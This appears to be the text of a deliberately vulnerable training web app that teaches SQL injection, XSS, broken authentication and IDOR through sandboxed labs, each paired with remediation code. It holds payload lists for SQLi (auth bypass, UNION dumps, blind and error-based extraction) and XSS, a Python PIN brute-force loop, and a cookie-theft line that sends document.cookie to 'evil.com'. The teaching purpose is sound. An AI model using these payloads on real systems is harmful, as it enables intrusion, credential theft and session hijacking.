A deliberately vulnerable web application for learning ethical
hacking. Explore real vulnerabilities, run attacks in a safe sandbox,
and learn how to fix them โ all in your browser.
SQL Injection (SQLi) occurs when user input is embedded directly
into SQL queries without sanitization. An attacker can manipulate
queries to bypass authentication, dump databases, or execute
commands.
โ CRITICAL SEVERITY โ OWASP A03:2021
SQLi is consistently one of the most dangerous and prevalent web
vulnerabilities. A single injection point can lead to complete
database compromise, authentication bypass, and in some cases โ full
server takeover.
HOW SQL INJECTION WORKS
A developer writes a login query like this:
-- Vulnerable PHP code$query =
"SELECT * FROM users WHERE username = '"
. $_POST['user'] .
"' AND password = '" .
$_POST['pass'] .
"'";
If a user types:
' OR '1'='1
The query becomes:
SELECT *
FROM users
WHERE username =
''OR '1'='1'AND password =
''
The condition '1'='1' is always
TRUE โ attacker logs in without credentials!
SQL Injection types:
CLASSIC / IN-BANDResults returned directly
in the response. Easiest to exploit.
BLIND โ BOOLEANNo output shown, but app
behaves differently based on TRUE/FALSE conditions.
BLIND โ TIME-BASEDUse SLEEP() to infer
data. If query pauses, condition is TRUE.
UNION-BASEDAppend UNION SELECT to retrieve
data from other tables in one query.
VULNERABLE LOGIN
FORM
EASY
This login form is directly vulnerable. Try to bypass it
using SQL injection payloads without knowing the password.
Try typing ' OR '1'='1 in
the password field. Or try
admin'-- in the username
field. The -- comments out the
rest of the SQL query!
โก PAYLOAD LIBRARY โ Classic SQLi
' OR '1'='1Auth Bypass
admin'--Comment Injection
' OR 1=1--Always True
' OR 'x'='xString Comparison
' OR 1=1 LIMIT 1--LIMIT bypass
๐ LIVE QUERY PREVIEW
Watch how your input changes the SQL query in real-time:
SELECT * FROM users WHERE username = 'admin' AND password =
''
Simulated database (users table):
id
username
password_hash
role
1
admin
5f4dcc3b...
ADMIN
2
alice
e99a18c4...
user
3
bob
d8578edf...
user
๐ฌ ATTACK ANATOMY
User inputs payload
Attacker enters
' OR '1'='1 in the
password field instead of a real password.
String concatenation occurs
The developer's code glues input directly into SQL:
WHERE pass = '' OR '1'='1'
Always-true condition
Since '1'='1' is always
TRUE, the WHERE clause matches every row โ no password
needed.
First row returned = login success
The database returns the first user (admin), and the
app considers this a valid login.
PRODUCT SEARCH โ
UNION ATTACK
MEDIUM
This search box queries a products table. Use UNION to steal
data from the users table
by appending your own SELECT.
First determine column count: try
laptop' ORDER BY 3--.
Then use:
x' UNION SELECT username,password_hash,role FROM
users--
โก UNION PAYLOADS
laptop' ORDER BY 3--Step 1: Find columns
x' UNION SELECT username,password_hash,role FROM
users--Step 2: Dump users
x' UNION SELECT table_name,2,3 FROM
information_schema.tables--Enum tables
๐ UNION ATTACK EXPLAINED
UNION lets you append a second SELECT to the original query.
Both must return the same number of columns.
-- Original vulnerable query:SELECT name, price, category
FROM products
WHERE name
LIKE'%laptop%'-- After UNION injection:SELECT name, price, category
FROM products
WHERE name
LIKE'%x%'UNION SELECT username,password_hash,role FROM
users--
IMPACT
Attacker can dump entire tables โ usernames, password
hashes, emails, credit cards โ anything in the database.
๐ DATABASE SCHEMA
Tables in this simulated database:
Table
Columns
products
name, price, category
users
username, password_hash, role
sessions
user_id, token, expires
USER PROFILE โ BLIND
BOOLEAN
HARD
This endpoint looks up a user by ID.
No data is returned โ only "User found" or
"Not found". Use boolean conditions to extract info
character by character.
The query is
SELECT * FROM users WHERE id = {input}. Try:
1 AND SUBSTRING(username,1,1)='a'. If "found", first letter of username is 'a'. Keep going
to extract the whole value!
โก BLIND BOOLEAN PAYLOADS
1 AND 1=1Test TRUE condition
1 AND 1=2Test FALSE condition
1 AND SUBSTRING(username,1,1)='a'Extract char[0]
1 AND LENGTH(username)>3Check username length
1 AND SUBSTRING(password_hash,1,1)='5'Extract hash char
๐ BLIND BOOLEAN TECHNIQUE
With no output visible, attackers extract data bit-by-bit by
asking TRUE/FALSE questions:
-- Is the first character of admin's password 'a'?SELECT *
FROM users
WHERE id =
1AND SUBSTRING(password,1,1) = 'a'-- Found? โ 'a' is correct, move to char 2 -- Not found?
โ try 'b', 'c', 'd'... until match
โฑ TIME-BASED VARIANT
If no behavior change is visible, use:
1 AND SLEEP(5). A
5-second delay means the condition was TRUE.
-- Time-based: does admin exist?SELECT *
FROM users
WHERE id=1
AND IF(1=1, SLEEP(5), 0)-- Page loads slowly = vulnerable!
๐ค AUTO-EXTRACTOR DEMO
Watch automated extraction (simulated โ real tools like
sqlmap do this 1000x faster):
[Click button to simulate automated blind SQLi extraction]
CATEGORY FILTER โ
ERROR-BASED
EXPERT
This endpoint filters products by category. SQL errors are
reflected in the response. Use error
messages to extract database version and data.
Try:
1 AND EXTRACTVALUE(1, CONCAT(0x7e, version()))
or
1 AND (SELECT 1 FROM(SELECT
COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM users
GROUP BY x)a)
โก ERROR-BASED PAYLOADS
1'Trigger syntax error
1 AND EXTRACTVALUE(1,CONCAT(0x7e,version()))Get DB version
1 AND EXTRACTVALUE(1,CONCAT(0x7e,database()))Get DB name
1 AND EXTRACTVALUE(1,CONCAT(0x7e,user()))Get DB user
๐ ERROR-BASED TECHNIQUE
Some databases embed query results inside error
messages. Attackers exploit this to extract data:
-- MySQL error-based via EXTRACTVALUE:SELECT *
FROM products
WHERE category =
1AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- Error returned:ERROR: XPATH syntax error: '~8.0.32-MySQL'-- Database version is now visible in the error!
ROOT CAUSE
Displaying raw database errors to users is a separate
vulnerability (information disclosure) that enables
error-based SQLi. Never show DB errors to end users!
๐ก HOW TO FIX SQL INJECTION
โ VULNERABLE code:
// NEVER DO THIS$q =
"SELECT * FROM users WHERE user='".$user."'";
โ FIXED with prepared statements:
// PHP PDO โ Prepared Statement$stmt =
$pdo->prepare(
"SELECT * FROM users WHERE user=?"
);
$stmt->execute([
$user ]);
// Python โ Parameterized Query
cursor.execute(
"SELECT * FROM users WHERE user=%s",
(user,) );
Use
prepared statements / parameterized queries
for ALL database interactions. This is the #1 fix.
Use an ORM (Sequelize, Django ORM,
Hibernate) which handles parameterization automatically.
Apply input validation and whitelist
expected data types (IDs should only be integers).
Use least privilege: database accounts
should only have SELECT/INSERT, never DROP or FILE.
Never display raw database errors to users.
Log them server-side only.
Use a WAF (Web Application Firewall) as a
secondary defense layer, not primary.
XSS allows attackers to inject malicious JavaScript into web pages
viewed by other users. It can steal session tokens, perform
actions on behalf of users, deface websites, and redirect victims
to phishing pages.
โ HIGH SEVERITY โ OWASP A03:2021
XSS affects ~2/3 of all web applications. With a single script tag, an
attacker can steal every user's session cookies and impersonate them โ
silently.
HOW XSS WORKS
๐ต REFLECTED XSS
Payload is in the URL/request and reflected in the response.
Requires tricking a user into clicking a malicious link. Not
stored on server.
๐ก STORED XSS
Payload is saved to the database and executes every time any
user views the page. Most dangerous โ no social engineering
needed after initial injection.
๐ฃ DOM-BASED XSS
JavaScript on the page reads attacker-controlled data (URL hash,
localStorage) and writes it to the DOM without sanitization.
Pure client-side.
SEARCH BAR โ
REFLECTED XSS
EASY
This search bar reflects your input directly in the page.
Inject a script tag to execute JavaScript in the "victim's"
browser.
Try:
<script>alert('XSS')</script>
or
<img src=x onerror=alert(1)>. The onerror variant bypasses some filters!
Via phishing email, SMS, social media. Often
URL-encoded to look less suspicious.
Victim clicks link
Their browser sends the malicious URL to the server.
Server reflects the payload in the HTML response:
You searched for:
<script>...</script>
Script executes in victim's browser
The browser sees valid HTML with a script tag and runs
it. The attacker's site receives the victim's session
cookie.
COMMENT BOARD โ
STORED XSS
MEDIUM
This comment section saves your input and renders it for ALL
users. Inject a payload here and it executes for
every visitor.
Post
<script>alert('Stored XSS โ I own every user who
sees this!')</script>
as a comment. It will fire for everyone who views this page.
๐ฌ COMMENT BOARD โ Vulnerable Renderer
[No comments yet โ posts will render here with NO
sanitization]
๐ STORED XSS โ WHY IT'S WORSE
// Vulnerable server code (Node.js):
app.post('/comment', (req, res) => {
// Saves payload directly to DB
db.save({ comment:
req.body.comment }); }); app.get('/comments', (req, res) => {
// Renders raw HTML from DB โ XSS!
res.send(`<div>${comment}</div>`); });
REAL-WORLD IMPACT
In 2018, British Airways suffered a stored XSS attack where
attackers injected a skimmer script. ~500,000 customers had
their credit card details stolen silently over 2 weeks.
// BAD โ raw HTML injection
element.innerHTML = userInput; res.send(`<div>${userInput}</div>`);
โ FIXED:
// GOOD โ use textContent, not innerHTML
element.textContent = userInput;
// GOOD โ HTML entity encodingfunctionescapeHtml(s) {
return s .replace(/&/g,
'&') .replace(/</g,
'<') .replace(/>/g,
'>'); }
Use textContent instead of innerHTML when
you only need to display text.
Apply context-aware output encoding โ HTML
encode for HTML context, JS encode for script context, URL
encode for URLs.
Implement a strict
Content Security Policy (CSP) header to block
inline scripts.
Use DOMPurify library if you must allow HTML
input โ it safely sanitizes HTML.
Set the HttpOnly flag on session cookies to
prevent JavaScript from reading them.
Use modern frameworks (React, Vue, Angular) that auto-escape
output by default.
Broken Authentication covers vulnerabilities in login systems,
session management, and password handling. Attackers exploit weak
credentials, missing rate limiting, predictable tokens, and
insecure sessions to hijack accounts.
โ CRITICAL SEVERITY โ OWASP A07:2021
Credential stuffing attacks use billions of leaked username/password
pairs (from data breaches) to automatically break into accounts that
reuse passwords.
ADMIN PANEL โ NO
RATE LIMITING
EASY
This login has
no lockout, no rate limiting, no CAPTCHA.
An attacker can send unlimited login attempts. The PIN is a
4-digit number.
๐ค AUTOMATED BRUTE FORCE SIMULATOR
Watch a simulated brute force attack try every PIN from 0000
to 9999. Real attacks use tools like
Hydra,
Burp Intruder.
Progress0 / 10000
[Brute force simulator ready]
๐ BRUTE FORCE EXPLAINED
Brute force tries every possible combination until one
works. A 4-digit PIN has only 10,000 possibilities:
# Python brute force (Hydra-like)import requests
for pin inrange(10000): r = requests.post('https://target/login', { 'user':
'admin',
'pin':
str(pin).zfill(4) }) if'Welcome'in r.text:
print(f"FOUND: {pin}")
break# Runs in seconds without rate limiting!
PASSWORD STATISTICS
The most common PINs are: 1234, 0000, 1111, 1212, 7777.
Attackers try these first โ always. An 8-character PIN has
100 million combinations but is cracked in ~28 hours at
1,000 attempts/sec.
๐ข ATTACK SPEED COMPARISON
Password Type
Combinations
Time (1k/sec)
4-digit PIN
10,000
10 seconds
6-char lowercase
308M
3.5 days
8-char mixed
218T
6,900 years
12-char complex
4.7ร10ยฒยฒ
Billions of years
DICTIONARY ATTACK
SIMULATOR
MEDIUM
A dictionary attack tries known common passwords instead of
every combination. Much faster โ most users use predictable
passwords.
[Dictionary attack ready โ select wordlist and
target]
๐ DICTIONARY VS BRUTE FORCE
WHY DICTIONARY ATTACKS WORK
80% of confirmed data breaches involve weak or stolen
passwords (Verizon DBIR). People overwhelmingly choose
predictable passwords: names, common words, "password" +
numbers.
# Top passwords used in the wild:
wordlist = [
"password",
"123456",
"password123",
"admin",
"letmein",
"qwerty",
"monkey",
"dragon",
"master",
"sunshine",
"princess",
"welcome"
]
# RockYou.txt has 14M real passwords # from a 2009 breach
โ still works today!
CREDENTIAL STUFFING
When a site is breached, attackers take leaked
username:password pairs and automatically try them on
hundreds of other sites. If you reuse passwords, this works.
๐ ACCOUNT: alice
Current account credentials (hidden from attacker):
Username
alice
Password
[ click to reveal after attack ]
SESSION HIJACKING
LAB
HARD
This simulates a session management system with a
predictable/weak token. Forge a session
token to log in as another user.
SCENARIO
The app generates session tokens as:
base64(username + timestamp). You know the admin username. Generate a valid admin
token.
The token format is
btoa("admin:" + timestamp). Click "Generate" to create a forged admin token, then
"Use Token" to take over the session.
๐ SESSION HIJACKING METHODS
Token Prediction
If tokens are based on sequential IDs, timestamps, or
username+hash, attackers can calculate valid tokens
without authentication.
Cookie Theft via XSS
Using an XSS vulnerability, attacker runs:
fetch('evil.com?c='+document.cookie)
and captures victim's session.
Network Sniffing (HTTP)
On HTTP (not HTTPS), session cookies travel in
plaintext. Anyone on the same network (coffee shop
WiFi) can capture them with Wireshark.
Session Fixation
Attacker sets a known session ID before login. If app
doesn't regenerate token after auth, attacker can use
the pre-set ID to log in.
IDOR occurs when an application uses user-controllable input to
access objects (records, files, pages) without verifying the user
is authorized. Changing an ID in a URL or request can expose other
users' data.
โ HIGH SEVERITY โ OWASP A01:2021 (Broken Access Control)
IDOR is the most common access control flaw. A simple URL change like
/api/user?id=1 โ
/api/user?id=2 may expose the next user's
private data.
USER PROFILE API โ
NO AUTHZ CHECK
EASY
You're logged in as User #3 (bob). The API returns profile
data based on the user_id parameter without
checking if you own that account.
Your invoices are INV-301 and INV-302. Try INV-100, INV-101
(admin's invoices) or INV-200, INV-201 (alice's). The app
will return them without checking ownership!
๐ INVOICE DATABASE (simulated)
Invoice ID
Customer
Amount
Contains
INV-100
admin
$45,000
Salary, Tax ID
INV-101
admin
$12,000
Bank details
INV-200
alice
$1,200
CC last 4, address
INV-201
alice
$890
Phone, email
INV-301
bob โYOU
$250
Your data
INV-302
bob โYOU
$180
Your data
๐ IDOR BEYOND INTEGERS
IDOR isn't just about changing
?id=1 to
?id=2. Any user-controlled
reference can be an IDOR:
# Numeric ID โ most obvious
/api/users/1001 โ /api/users/1002# Predictable filename
/files/invoice_alice_2024.pdf# Encoded ID (base64, not secure!)
/api/order/dXNlcjoxMjM= (=
"user:123") โ decode โ change โ re-encode
# UUID (harder, but still IDOR if guessable)
/api/doc/a1b2c3d4-...
๐ก HOW TO FIX IDOR
// Pattern 1: Always use session context// NEVER trust user-supplied ID for ownership
app.get('/api/invoice/:id', auth, (req, res) => { const invoice =
db.invoices.find({ id: req.params.id,
// Enforce ownership here:customer_id: req.session.userId
});
if (!invoice)
return res.status(403).send();
res.json(invoice); });
// Pattern 2: Use opaque references// Never expose raw DB IDs โ use UUIDsid: crypto.randomUUID()// hard to guess
Always verify the
authenticated user owns or is authorized to
access the requested object โ never trust the client-supplied
ID alone.
Use indirect references: map user-specific
IDs to real DB IDs server-side so external IDs don't
correspond 1:1 to DB records.
Use random UUIDs instead of sequential
integers for resource IDs to prevent enumeration.
Implement role-based access control (RBAC) โ
define what each role can access and enforce it on every
endpoint.
Log all access to sensitive resources and
alert on anomalous ID enumeration patterns.
Conduct regular authorization testing โ test
every API endpoint by trying to access resources owned by
other users.